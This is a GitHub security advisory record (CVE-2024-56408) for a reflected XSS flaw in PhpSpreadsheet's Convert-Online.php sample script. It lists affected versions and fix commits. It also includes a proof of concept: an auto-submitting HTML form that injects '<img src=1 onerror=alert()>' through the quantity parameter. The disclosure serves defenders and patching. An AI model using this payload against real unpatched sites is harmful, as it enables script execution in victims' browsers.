{"id":"GHSA-x88g-h956-m5xg","summary":"PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file","details":"# Unauthorized Reflected XSS in `Convert-Online.php` file\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` script, an attacker can perform a XSS-type attack \n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the quantity variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Convert-Online.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file, which leads to the possibility of a XSS attack.\n\n![fig4](https://github.com/user-attachments/assets/71a6ab8b-db65-4e7e-bb36-39f0bd0f7077)\n\n*Figure 4. The message with the quantity parameter is displayed without sanitization*\n\n\nThe following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.\n\n\u003cimg width=\"460\" alt=\"fig5\" src=\"https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971\" /\u003e\n\n*Figure 5. In the server's response , the quantity variable is displayed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"category\" value=\"Weight and Mass\" /\u003e\n      \u003cinput type=\"hidden\" name=\"quantity\" value=\"1.0<img src=1 onerror=alert()>\" /\u003e\n      \u003cinput type=\"hidden\" name=\"fromUnit\" value=\"g\" /\u003e\n      \u003cinput type=\"hidden\" name=\"toUnit\" value=\"g\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submitx\" value=\"Convert\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser.\n \n\u003cimg width=\"389\" alt=\"fig6\" src=\"https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625\" /\u003e\n\n*Figure 6. Executing arbitrary JavaScript code*\n\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","aliases":["CVE-2024-56408"],"modified":"2026-09-10T03:50:56.511310919Z","published":"2025-01-03T16:05:26Z","database_specific":{"nvd_published_at":"2025-01-03T16:15:26Z","cwe_ids":["CWE-79"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2025-01-03T16:05:26Z"},"references":[{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-x88g-h956-m5xg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56408"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b9a55c7154daa7cd4095f618933c240508ba3c1"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/a50ebfe118b3ae0ddaea1c48ac19dc38692f4abc"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/b8fac55aa5cb7a3d514c7308378bb37bb711b25e"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"affected":[{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.7.0"}]}],"versions":["3.3.0","3.4.0","3.5.0","3.6.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-x88g-h956-m5xg/GHSA-x88g-h956-m5xg.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.7"}]}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.29.2","1.29.4","1.29.5","1.29.6","1.3.0","1.3.1","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.29.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-x88g-h956-m5xg/GHSA-x88g-h956-m5xg.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.6"}]}],"versions":["2.0.0","2.1.0","2.1.1","2.1.3","2.1.4","2.1.5"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.1.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-x88g-h956-m5xg/GHSA-x88g-h956-m5xg.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.3.5"}]}],"versions":["2.2.0","2.2.1","2.2.2","2.3.0","2.3.2","2.3.3","2.3.4"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.3.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-x88g-h956-m5xg/GHSA-x88g-h956-m5xg.json"}},{"package":{"name":"phpoffice/phpexcel","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpexcel"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.2"}]}],"versions":["1.7.9","1.7.9-rc1","1.8.0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.1","1.8.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-x88g-h956-m5xg/GHSA-x88g-h956-m5xg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L"}]}